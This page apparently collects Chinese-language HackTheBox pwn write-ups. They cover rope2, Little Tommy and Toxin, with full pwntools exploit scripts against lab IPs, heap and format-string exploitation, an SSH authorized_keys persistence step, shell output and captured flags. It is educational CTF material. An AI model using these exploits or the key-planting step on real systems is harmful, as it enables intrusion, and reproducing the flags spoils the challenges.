    p.sendline('echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+Tuty8485wlno7YD87opBzB3ehsFJN475yHgPuJV+t1oAk7UwtpLQLWbqa5SCpNbJtCeOK5L/He/F0Oe2D0UOZ5klMrcQGWqml1SpQTPHlpRQbTLdi6mMcsKhyHdJV5RqtqfFnPNdS4qF7k6COpOr/9S/UOr1V/zy/0vd2Bqqf9+K5s8xc+kNnfhfnYjWdlXP/avMFg7kRm4bTxJXlI2gGKF3LTw/iIbZ+5o/jY68UFq1NXk3Gtuv0ObVaRDU5f/7SlfqHKJUjQKkaqUdpAYOyGUY9uorYJe9GGor5+YyYysKCXkbhFvr28KqK/FsSBKCdEQM+z1nwyLXA2EArcqbgM6GQrfRcdHTmaMwP+Ti4F9iFD6r1DVrJpKZ4HinpDRtvQQncmtaUew5t78Z8a55zMWqV90A447y0Qg0nRxEa8gDr/PHOvcUmpKy3ocmwKD7x8ZEgNRvpm0INCOOcnjasddE/zrukoo1+fwzNB3R2lnghsNa8ShoctkAbgZmrSU= root@kali" > /home/r4j/.ssh/authorized_keys')
    p.sendline("chmod 600 /home/r4j/.ssh/authorized_keys")
    log.success("Wrote SSH key to /home/r4j/.ssh/authorized_keys")
p.interactive()
```

运行它会返回一个shell:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/rope2]
└─# python3 pwn_rshell.py REMOTE
[*] '/root/hackthebox/machine/rope2/rshell'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/root/hackthebox/machine/rope2/libc.so.6-ropetwo'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Connecting to 10.10.10.196 on port 22: Done
[ERROR] python is not installed on the remote system '10.10.10.196'
[*] chromeuser@10.10.10.196:
    Distro    Unknown Unknown
    OS:       Unknown
    Arch:     Unknown
    Version:  0.0.0
    ASLR:     Disabled
    Note:     Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: 'rshell': Done
[-] Failed
[+] Opening new channel: 'rshell': Done
[-] Failed
[+] Opening new channel: 'rshell': Done
[+] Leaked address: 0x7f96ffdd6570
[+] Libc base: 0x7f96ffbef000
[*] Overwriting __free_hook
[*] Triggering shell
[+] Wrote SSH key to /home/r4j/.ssh/authorized_keys
[*] Switching to interactive mode
$ $ $ $ id
uid=1000(r4j) gid=1001(chromeuser) groups=1001(chromeuser)
$ $ whoami
r4j
$ $ ls
chrome    web
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rope2-rshell.jpg)

SSH也可以正常连接:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/rope2]
└─# ssh -i id_rsa r4j@10.10.10.196
Welcome to Ubuntu 19.04 (GNU/Linux 5.0.0-38-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Feb 21 14:56:24 UTC 2021

  System load:  0.04               Processes:             302
  Usage of /:   42.8% of 19.56GB   Users logged in:       0
  Memory usage: 39%                IP address for ens160: 10.10.10.196
  Swap usage:   0%


454 updates can be installed immediately.
0 of these updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings


Last login: Sun Feb 21 14:53:20 2021 from 10.10.14.6
r4j@rope2:~$ id
uid=1000(r4j) gid=1000(r4j) groups=1000(r4j)
r4j@rope2:~$ whoami
r4j
r4j@rope2:~$ ls
user.txt
r4j@rope2:~$ cat user.txt
77fad0ddf2c6c7736a86ce77a44c204f
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rope2-rshell1.jpg)

<font color="red">***Damn! Really Crazy! Ha?***</font>
<!-- kb:end hackthebox-rope2-rshell-exploit -->

</details>

<a id="case-little-tommy"></a>

## 悬空账户指针与 memo 重用

账户释放后指针仍被显示逻辑使用，新分配的 memo 重用同一堆块。保留字段布局、覆盖位置和本地到远程的脚本。

<p class="kb-provenance">来源 little-tommy · 原记录 2021-09-09 · 9 个代码块 · 10 处图片引用</p>

<details class="kb-evidence" id="record-little-tommy">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start little-tommy -->

#### 详细过程及exp
#### 1. Basic checks:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/little_tommy]
└─# file little_tommy
little_tommy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=861838865726f48aa954b8df920d1be3ae683b40, not stripped
┌──(root💀kali)-[~/hackthebox/challenge/pwn/little_tommy]
└─# checksec little_tommy
[*] '/root/hackthebox/challenge/pwn/little_tommy/little_tommy'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```



#### 2. General overview:

There are 5 options to chose from.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/little_tommy.jpg)

The first function "Create account" (1) allocates 72B of space on the heap with malloc().

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/little_tommy1.jpg)

The maximum length of (2) "First name" could be 32B as well as the maximum length of (3) "Last name".

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/little_tommy2.jpg)

The second option "Display account" prints 0–31B stored on the heap of "First name", 32–64B of "Last name" and 65 — 72B of "Account balance".

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/little_tommy3.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/little_tommy4.jpg)

The third function deletes the account by calling free() on the space pointed by *main_account.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/little_tommy5.jpg)

The fourth option "Add memo" copies user input to the heap.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/little_tommy6.jpg)

Last option prints the flag if there is an account created and 64 — 72 bytes of the space of the account variable (which are stored on the heap) are set to 0x6b637566 which means in ASCII "fuck".

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/little_tommy7.jpg)

#### 3. Spot the vulnerability:

There is a [Use-After-Free](https://encyclopedia.kaspersky.com/glossary/use-after-free/) — vulnerability related to incorrect use of dynamic memory during program operation.

If you first create an account the pointer used for dynamic memory allocation will point at the end of the chunk (1).

If you delete it, then the pointer, instead of being set to null continues to refer to the now-freed memory, the result is a dangling pointer (2).

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/little_tommy8.jpg)

If the program then allocates this same chunk of memory to *memo (3) the dangling pointer will now reference this new data set.

So at the end *main_account + 0x40 will be overflowed by 64–72B added by "Add memo" functionality (4).

#### 4. Exploit the Use-After-Free vulnerability locally:

First — create an account with random data (could be blank).

``` bash
Please enter an operation number: 1

First name: aaaa
Last name: aaaa

Thank you, your account number 155584960.
```

Then delete this account - to set the dangling pointer at the beginning.

``` bash
Please enter an operation number: 3

Account deleted successfully
```

Add memo - to overwrite the dynamic memory space referenced by *main_account with custom bytes, thus overwriting 0x40B with "fuck"

``` bash
Please enter an operation number: 4

Please enter memo:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaafuck

Thank you, please keep this reference number number safe: 155584960.
```

Use the 5th option to read the flag since both conditions are True.

``` bash
Please enter an operation number: 5
/bin/cat: flag: 没有那个文件或目录
```

#### 5. Final exploit:

 - getflag.py

``` python
from pwn import *

context.log_level = 'debug'

p = remote('188.166.173.208', 30638)
print p.recvuntil('number:')
p.sendline('1')
print p.recvuntil('name:')
p.sendline('aaaa')
print p.recvuntil('name:')
p.sendline('aaaa')
print p.recvuntil('number:')
p.sendline('4')
print p.recvuntil('memo:')
p.sendline('ffff')
print p.recvuntil('number:')
p.sendline('3')
print p.recvuntil('number:')
p.sendline('1')
print p.recvuntil('name:')
p.sendline('bbbb')
print p.recvuntil('name:')
p.sendline('bbbb')
print p.recvuntil('number:')
p.sendline('3')
print p.recvuntil('number:')
p.sendline('4')
print p.recvuntil('memo:')
p.sendline('aaaa' * 16 + 'fuck')
print p.recvuntil('number:')
p.sendline('5')
print p.recv()
p.interactive()
```

``` bash
Please enter an operation number:
[DEBUG] Sent 0x2 bytes:
    '5\n'

[*] Switching to interactive mode
[DEBUG] Received 0x3 bytes:
    '5\r\n'

[DEBUG] Received 0x9e bytes:
    'HTB{I_am_so_heaped_up_right_now}\r\n'
    '\r\n'
    '1. Create account\r\n'
    '2. Display account\r\n'
    '3. Delete account\r\n'
    '4. Add memo\r\n'
    '5. Print flag\r\n'
    '\r\n'
    'Please enter an operation number: '
```

 - getflag1.py

``` python
from pwn import *
from time import sleep

context.log_level = 'debug'

p = remote("188.166.173.208", 30638)

p.recvline("Please enter an operation number:")
sleep(1)
p.sendline("1")
sleep(1)
p.recvline("First name:")
p.sendline("luci")
sleep(1)
p.recvline("Last name:")
p.sendline("luci")
sleep(1)
p.recvline("Please enter an operation number:")
p.sendline("3")
p.recvline("Account deleted successfully")
sleep(1)
p.recvline("Please enter an operation number:")
p.sendline("4")
sleep(1)
p.recvline("Please enter memo:")
p.sendline("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuck")
p.recvline("Thank you, please keep this reference number number safe:")
sleep(1)
p.recvline("Please enter an operation number:")
p.sendline("5")

p.interactive()
```

``` bash
Please enter an operation number: [DEBUG] Received 0x3 bytes:
    '5\r\n'

[DEBUG] Received 0x9e bytes:
    'HTB{I_am_so_heaped_up_right_now}\r\n'
    '\r\n'
    '1. Create account\r\n'
    '2. Display account\r\n'
    '3. Delete account\r\n'
    '4. Add memo\r\n'
    '5. Print flag\r\n'
    '\r\n'
    'Please enter an operation number: '
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/little_tommy9.jpg)

#### 摘自(致敬原作)......

 - 浏览medium.com博客每月有次数限制，并且5$收费，故摘录文章。。。
 - [PWN Little Tommy challenge - HTB](https://karol-mazurek95.medium.com/pwn-little-tommy-challenge-htb-46016104f09f)

<!-- kb:end little-tommy -->

</details>

<a id="case-toxin"></a>

## 格式化泄漏与 tcache poisoning

两份实现分别分析地址泄漏、释放状态和分配重定向。保留 toxinfreed 周边偏移、libc 对应版本与最终 hook 修改脚本。

<p class="kb-provenance">来源 toxin · 原记录 2021-02-22 · 31 个代码块 · 20 处图片引用</p>

<details class="kb-evidence" id="record-toxin">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start toxin -->

#### walkthrough-1

所给的LIBC文件暗示了运行在Ubuntu 18.04上的二进制文件，也就是Bionic Beaver。



使用IDA，这里是函数的伪代码:

 - add 函数

add函数如下:

``` bash
int add_toxin()
{
  int v1; // ebx
  int v2; // [rsp+4h] [rbp-1Ch] BYREF
  size_t size[3]; // [rsp+8h] [rbp-18h] BYREF

  puts("A new toxin! Fascinating.");
  printf("Toxin chemical formula length: ");
  __isoc99_scanf("%lu", size);
  if ( size[0] > 0xE0 )
    return puts("Chemical formula too long.");
  printf("Toxin index: ");
  __isoc99_scanf("%d", &v2);
  if ( v2 < 0 || v2 > 2 || *((_QWORD *)&toxins + v2) )
    return puts("Invalid toxin index.");
  sizes[v2] = size[0];
  v1 = v2;
  *((_QWORD *)&toxins + v1) = malloc(size[0]);
  printf("Enter toxin formula: ");
  return read(0, *((void **)&toxins + v2), size[0]);
}
```

这个函数负责的大小和通过malloc分配一块用给定的大小, 并将其添加到gloabl指针toxins, 这个函数的takeaways是大小限制是可以分配块高达0x70大小和给出的指标必须在index < 0 || index > 2会抛出一个错误,一样如果块占据global数组,它会抛出的错误。

 - free 函数

这个函数处理这个二进制文件的free功能:

``` bash
void drink_toxin()
{
  int v0; // [rsp+Ch] [rbp-4h] BYREF

  puts("This is dangerous testing, I'm warning you!");
  printf("Toxin index: ");
  __isoc99_scanf("%d", &v0);
  if ( v0 >= 0 && v0 <= 2 && *((_QWORD *)&toxins + v0) )
  {
    if ( toxinfreed )
    {
      puts("You can only drink toxins once, they're way too poisonous to try again.");
    }
    else
    {
      toxinfreed = 1;
      free(*((void **)&toxins + v0));
    }
  }
  else
  {
    puts("Invalid toxin index.");
  }
}
```

这个函数也有约束，包括只能调用一次free，这意味着只能有一个free chunk。虽然当它free(toxins[index])时，它不会消除可能导致在释放后使用的块。它也不会使全局指针将toxins[index]置为0，这使得这种情况变得困难，因为即使释放了这个函数，也无法分配新的块，这使得无法分配块，除非全局指针没有被置空。

 - edit函数

``` bash
int edit_toxin()
{
  int v1; // [rsp+Ch] [rbp-4h] BYREF

  puts("Adjusting an error?");
  printf("Toxin index: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 2 || !*((_QWORD *)&toxins + v1) )
    return puts("Invalid toxin index.");
  printf("Enter toxin formula: ");
  return read(0, *((void **)&toxins + v1), sizes[v1]);
}
```

函数负责编辑alloctaed块,虽然使用这个,因为它只检查全局指针是否不为空或free函数并不是空的,全球指针,用free漏洞后,有能力覆盖fd & bk指针free的一部分。

 - search函数

这个函数允许从全局指针中搜索一个块，但是printf在这里有一个问题。

``` bash
int search_toxin()
{
  int i; // [rsp+4h] [rbp-Ch]
  char s[6]; // [rsp+Ah] [rbp-6h] BYREF

  puts("Time to search the archives!");
  memset(s, 0, sizeof(s));
  printf("Enter search term: ");
  read(0, s, 5uLL);
  for ( i = 0; i <= 2; ++i )
  {
    if ( *((_QWORD *)&toxins + i) && !strcmp(s, *((const char **)&toxins + i)) )
      return printf("Found at index %d!\n", (unsigned int)i);
  }
  printf(s);
  return puts(" not found.");
}
```

给定搜索字符串，它将搜索分配的块(drink)，然后不指定任何内容就输出给定的模式，这使得格式化字符串漏洞容易受到攻击。

#### 漏洞利用

利用这一点的方法如下:

 - 从search_toxin函数的格式字符串漏洞中泄漏LIBC和ELF地址。
 - 分配一个块。
 - 释放那个块
 - 用toxinfreed - 0x13的地址编辑该块，该地址指向一个有效的空闲块指针。
 - 然后为返回第一个释放的指针进行一次分配，然后为第三次分配返回toxinfreed地址。
 - 用指向__malloc_hook的指针覆盖toxins数组的第一个索引，然后清空toxins数组中的其他块。
 - 编辑chunk 0，因为它被___malloc_hook覆盖了，所以用one_gadget覆盖它
 - 再做一次分配，最终调用__malloc_hook，导致one_gadget跳转并获得shell。

继续，构建实用的函数:

``` bash
from pwn import *
p = remote("139.59.162.195", 31794)
elf = ELF("toxin")
libc = elf.libc
def alloc(idx, size, content):
    p.sendlineafter("> ", "1")
    p.sendlineafter(": ", str(size))
    p.sendlineafter(": ", str(idx))
    p.sendafter(": ", content)
def edit(idx, content):
    p.sendlineafter("> ", "2")
    p.sendlineafter(": ", str(idx))
    p.sendafter(": ", content)
def free(idx):
    p.sendlineafter("> ", "3")
    p.sendlineafter(": ", str(idx))
def search_toxin(string):
    p.sendlineafter("> ", "4")
    p.sendlineafter(": ", string)
```

现在，这些函数将帮助更自由地与二进制文件交互，然后已经泄漏了位于第3和第9索引的search_toxin的LIBC和ELF地址。

``` bash
search_toxin("%3$p")
libc.address = int(p.recvline().strip(b"\n"), 16) - 0x110081
log.info("LIBC: 0x%x" %(libc.address))

search_toxin("%9$p")
elf.address = int(p.recvline().strip(b"\n"), 16) - 0x1284
log.info("ELF: 0x%x" %(elf.address))
```

然后，在索引0处分配一个chunk并释放它:

``` bash
alloc(0, 0x70, "AAAA")
free(0)
```

现在，用toxinfreed - 0x13重写被释放块的fd，它与大小为0x7f的块的结构相同。

``` bash
root@luci:~/toxin# gdb -q -p $(pidof toxin)
gef➤  x/12xg &toxinfreed
0x55cc26b80050 <toxinfreed>:	0x0000000000000001	0x0000000000000000
0x55cc26b80060 <toxins>:	0x000055cc27953260	0x0000000000000000
0x55cc26b80070 <toxins+16>:	0x0000000000000000	0x0000000000000000
0x55cc26b80080 <sizes>:	0x0000000000000070	0x0000000000000000
0x55cc26b80090 <sizes+16>:	0x0000000000000000	0x0000000000006000
0x55cc26b800a0:	0x0000000000000000	0x0001000300000000
gef➤  x/2xg 0x55cc26b80050 - 0x13
0x55cc26b8003d:	0xa60edac680000000	0x000000000000007f
```

正如所见，大小为0x7f，它与块的结构完全相同。

``` bash
edit(0, p64(elf.symbols['toxinfreed'] - 0x13))
```

现在。将再进行一次分配，在索引2处进行第二次分配时，将返回toxinfreed的目标块。

``` bash
alloc(1, 0x70, "BBBBB")
```

现在。将制作一个payload，它将覆盖toxinfreed，以及使用__malloc_hook作为toxinsfreed变量的toxins第一个块的索引，toxins被传染到存储。

``` bash
payload = b"\x00"*35
payload += p64(libc.symbols['__malloc_hook'])
payload += p64(0)*3
payload += p64(0x70)
alloc(2, 0x70, payload)
```

``` bash
gef➤  x/12xg &toxinfreed
0x563d2b4fc050 <toxinfreed>:	0x0000000000000000	0x0000000000000000
0x563d2b4fc060 <toxins>:	0x00007f80a8ecec30	0x0000000000000000
0x563d2b4fc070 <toxins+16>:	0x0000000000000000	0x0000000000000000
0x563d2b4fc080 <sizes>:	0x0000000000000070	0x0000000000000070
0x563d2b4fc090 <sizes+16>:	0x0000000000000070	0x0000000000006000
0x563d2b4fc0a0:	0x0000000000000000	0x0001000300000000
gef➤  p __malloc_hook
$1 = (void *(*)(size_t, const void *)) 0x0
gef➤  p &__malloc_hook
$2 = (void *(**)(size_t, const void *)) 0x7f80a8ecec30 <__malloc_hook>
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin.jpg)

覆盖toxins数组，第0个索引是指向__malloc_hook的指针。

现在，请求索引为0的edit函数，由于被__malloc_hook覆盖，它只返回那个指针，用one_gadget地址覆盖它。

``` bash
edit(0, p64(libc.address + 0x10a38c))
```

现在，由于用one_gadget覆盖了__malloc_hook，请求更多的块，这反过来又从add函数调用malloc，并最终调用__malloc_hook:

``` bash
p.sendlineafter("> ", "1")
p.sendlineafter(": ", str(0x70))
p.sendlineafter(": ", "1")
p.interactive()
```

运行漏洞利用脚本:

``` bash
root@luci:~/toxin# python getshell.py 
[+] Starting local process './toxin': pid 32112
[*] '/root/toxin/toxin'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  './lib/'
[*] u'/root/toxin/lib/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] LIBC: 0x7ff133760000
[*] ELF: 0x5626d4538000
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
$ ls
getshell.py  lib  peda-session-toxin.txt  toxin
```

成功的获取了本地的shell

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin1.jpg)

然后，修改成远程ip和端口之后运行它，得到了flag:

``` bash
root@luci:~/toxin# python getshell.py 
[+] Opening connection to 46.101.84.35 on port 31348: Done
[*] '/root/toxin/toxin'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  './lib/'
[*] u'/root/toxin/lib/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] LIBC: 0x7f0fa8d08000
[*] ELF: 0x55d49667f000
[*] Switching to interactive mode
$ 
$ 
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ whoami
pwn
$ ls
flag.txt
lib
toxin
$ cat flag.txt
HTB{tc4ch3_t0x1n4t10n???_0r_tc4ch3_p01So1n1NG??+F0rm4t...4m@ZiNg!!!}
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin2.jpg)

#### 完整exp脚本

 - getflag.py

``` bash
from pwn import *

#context.update(os="linux",arch="amd64",log_level="debug")
#context.terminal = ['tmux','split','-h']

p = remote("46.101.84.35", 31348)
#p = process('./toxin')
elf = ELF("toxin")
libc = elf.libc

def alloc(idx, size, content):
    p.sendlineafter("> ", "1")
    p.sendlineafter(": ", str(size))
    p.sendlineafter(": ", str(idx))
    p.sendafter(": ", content)
def edit(idx, content):
    p.sendlineafter("> ", "2")
    p.sendlineafter(": ", str(idx))
    p.sendafter(": ", content)
def free(idx):
    p.sendlineafter("> ", "3")
    p.sendlineafter(": ", str(idx))
def search_toxin(string):
    p.sendlineafter("> ", "4")
    p.sendlineafter(": ", string)

search_toxin("%3$p")
libc.address = int(p.recvline().strip(b"\n"), 16) - 0x110081
log.info("LIBC: 0x%x" %(libc.address))

search_toxin("%9$p")
elf.address = int(p.recvline().strip(b"\n"), 16) - 0x1284
log.info("ELF: 0x%x" %(elf.address))

alloc(0, 0x70, "AAAA")
free(0)
edit(0, p64(elf.symbols['toxinfreed'] - 0x13))

alloc(1, 0x70, "BBBBB")

payload = b"\x00"*35
payload += p64(libc.symbols['__malloc_hook'])
payload += p64(0)*3
payload += p64(0x70)
alloc(2, 0x70, payload)

edit(0, p64(libc.address + 0x10a38c))
p.sendlineafter("> ", "1")
p.sendlineafter(": ", str(0x70))
p.sendlineafter(": ", "1")
p.interactive()
```

#### walkthrough-2

Tcache poisoning & One Gadget & __malloc_hook [x64]

Basic checks:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Toxin]
└─# file toxin 
toxin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./lib/ld-2.27.so, BuildID[sha1]=c462dc6a106ccb8acb90b34ae93bc673a3010eda, for GNU/Linux 3.2.0, not stripped
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Toxin]
└─# checksec toxin
[*] '/root/hackthebox/challenge/pwn/Toxin/toxin'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./lib/'
```

General overview:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Toxin]
└─# ./toxin 
Welcome to Toxin, a low-capacity lab designed to store, record and keep track of chemical toxins.
1. Record toxin
2. Edit existing toxin record
3. Drink toxin for testing
4. Search for toxin record
Enter your lab code.
>
```

There are 4 main functionalities in the binary:

1. Record toxin — which basically allocates a new chunk on the heap.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin3.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin4.jpg)

2. Edit existing toxin record — which allows you to overwrite the Forward Pointer of the freed chunk (it will be covered later keep reading...)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin5.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin6.jpg)

3. Drink toxin for testing — which frees the chunk, but only once(1).

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin7.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin8.jpg)

4. Search for toxin record — format string vulnerability(1) allows leaking data.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin9.jpg)

First vulnerability — format string:

As can be seen above, format string vulnerability could be spotted during source code analysis.

There is another way how you can spot this kind of vulnerabilities using dynamic binary analysis with GEF format-string-helper functionality:

``` bash
gef➤  format-string-helper

[+] Enabled 5 FormatStringBreakpoint
gef➤  r
Starting program: /root/hackthebox/challenge/pwn/Toxin/toxin 
Welcome to Toxin, a low-capacity lab designed to store, record and keep track of chemical toxins.
1. Record toxin
2. Edit existing toxin record
3. Drink toxin for testing
4. Search for toxin record
Enter your lab code.
> 4
Time to search the archives!
Enter search term: luci

Breakpoint 1, __printf (format=0x7fffffffde1a "luci\n") at printf.c:28
28      printf.c: 没有那个文件或目录.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x00007ffff7af4081  →  0x5777fffff0003d48 ("H="?)
$rdx   : 0x10              
$rsp   : 0x00007fffffffde08  →  0x00005555555556b3  →  <search_toxin+218> lea rdi, [rip+0xbb3]        # 0x55555555626d                                                                                                                
$rbp   : 0x00007fffffffde20  →  0x00007fffffffde40  →  0x00005555555556d0  →  <__libc_csu_init+0> push r15
$rsi   : 0x00007fffffffde1a  →  0xde40000a6963756c ("luci\n"?)
$rdi   : 0x00007fffffffde1a  →  0xde40000a6963756c ("luci\n"?)
$rip   : 0x00007ffff7a48e80  →  <printf+0> sub rsp, 0xd8
$r8    : 0x13              
$r9    : 0x0               
$r10   : 0x00007ffff7b82cc0  →  0x0002000200020002
$r11   : 0x246             
$r12   : 0x00005555555550d0  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffdf20  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
──────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde08│+0x0000: 0x00005555555556b3  →  <search_toxin+218> lea rdi, [rip+0xbb3]        # 0x55555555626d ← $rsp                                                                                                             
0x00007fffffffde10│+0x0008: 0x00000003ffffde40
0x00007fffffffde18│+0x0010: 0x000a6963756c50d0
0x00007fffffffde20│+0x0018: 0x00007fffffffde40  →  0x00005555555556d0  →  <__libc_csu_init+0> push r15   ← $rbp
0x00007fffffffde28│+0x0020: 0x0000555555555284  →  <main+207> jmp 0x555555555292 <main+221>
0x00007fffffffde30│+0x0028: 0x00007fffffffdf20  →  0x0000000000000001
0x00007fffffffde38│+0x0030: 0x0000000400000000
0x00007fffffffde40│+0x0038: 0x00005555555556d0  →  <__libc_csu_init+0> push r15
────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7a48e6c <fprintf+172>    call   0x7ffff7b18c80 <__stack_chk_fail>
   0x7ffff7a48e71                  nop    WORD PTR cs:[rax+rax*1+0x0]
   0x7ffff7a48e7b                  nop    DWORD PTR [rax+rax*1+0x0]
 → 0x7ffff7a48e80 <printf+0>       sub    rsp, 0xd8
   0x7ffff7a48e87 <printf+7>       test   al, al
   0x7ffff7a48e89 <printf+9>       mov    QWORD PTR [rsp+0x28], rsi
   0x7ffff7a48e8e <printf+14>      mov    QWORD PTR [rsp+0x30], rdx
   0x7ffff7a48e93 <printf+19>      mov    QWORD PTR [rsp+0x38], rcx
   0x7ffff7a48e98 <printf+24>      mov    QWORD PTR [rsp+0x40], r8
────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "toxin", stopped 0x7ffff7a48e80 in __printf (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7a48e80 → __printf(format=0x7fffffffde1a "luci\n")
[#1] 0x5555555556b3 → search_toxin()
[#2] 0x555555555284 → main()
──────────────────────────────────────────────────────────────────────────────────────────────────────── extra ────
[*] Format string helper
Possible insecure format string: printf('$rdi'  →  0x7fffffffde1a: 'luci\n')
Reason: Call to 'printf()' with format string argument in position #0 is in page 0x7ffffffde000 ([stack]) that has write permission
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
```

There are some limitations for the search toxin input, but it could be easily bypassed by the direct parameter access:

``` bash
from pwn import *

p = process("./toxin")
sleep(0.5)

def fs_vuln(c):
    p.sendline("4")
    p.recv()
    p.send("%"+str(c)+"$p\x00")
    leak = (p.recvline()).split(" ")[0]
    print(str(c) + ": " + leak)
    p.recv()

for i in range(1,10):
    fs_vuln(i)

p.interactive()
```

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Toxin]
└─# python exploit1.py                                                                                            
[+] Starting local process './toxin': pid 2535
1: 0x7ffc6ff42c1a
2: 0x10
3: 0x7f4005938081    # 3rd addr will be used for calculating libc base addr
4: 0x13
5: (nil)
6: 0x36ff42c40
7: 0x7024372520d0
8: 0x7ffc6ff42c40
9: 0x5597839c2284    # 9rd addr will be used for calculating elf base addr
```

So basically above leakage will be used to bypass ASLR and PIE and it will be the first step in the exploit chain.

``` bash
### Leak & convert & calculate ---
libc_leak  = int(fs_vuln(3),16) - 0x110081
elf_leak = int(fs_vuln(9),16) -  0x1284
log.success("Libc base: " + hex(libc_leak))
log.success("Elf  base: " + hex(elf_leak))
# ---
```

4. Tcache poisoning — overwriting the chunk Forward Pointer:

To overwrite the Forward Pointer, you have to do 3 steps:

1. Allocate a new chunk @toxing_index[0].
2. Free this chunk.
3. Edit this chunk to overwrite the Forward Pointer.

The below functions will help you achieve that:

``` bash
# 1. Add toxin    => Allocate chunk
def add_toxin(length,index,data):
    p.sendline("1")
    p.recv()
    p.sendline(str(length))
    p.recv()
    p.sendline(str(index))
    p.recv()
    p.sendline(data)
    p.recv()
# 2. Drink toxin  => Free chunk
def drink_toxin(index):
    p.sendline("3")
    p.recv()
    p.sendline(str(index))
    p.recv()
# 3. Edit toxin   => Rewrite the fd of the freed chunk
def edit_toxin(index,data):
    p.sendline("2")
    p.recv()
    p.sendline(str(index))
    p.recv()
    p.sendline(data)
    p.recv()
add_toxin(100,0,"A"*8)
drink_toxin(0)
edit_toxin(0,"B"*8)
gdb.attach(p)
p.interactive()
```

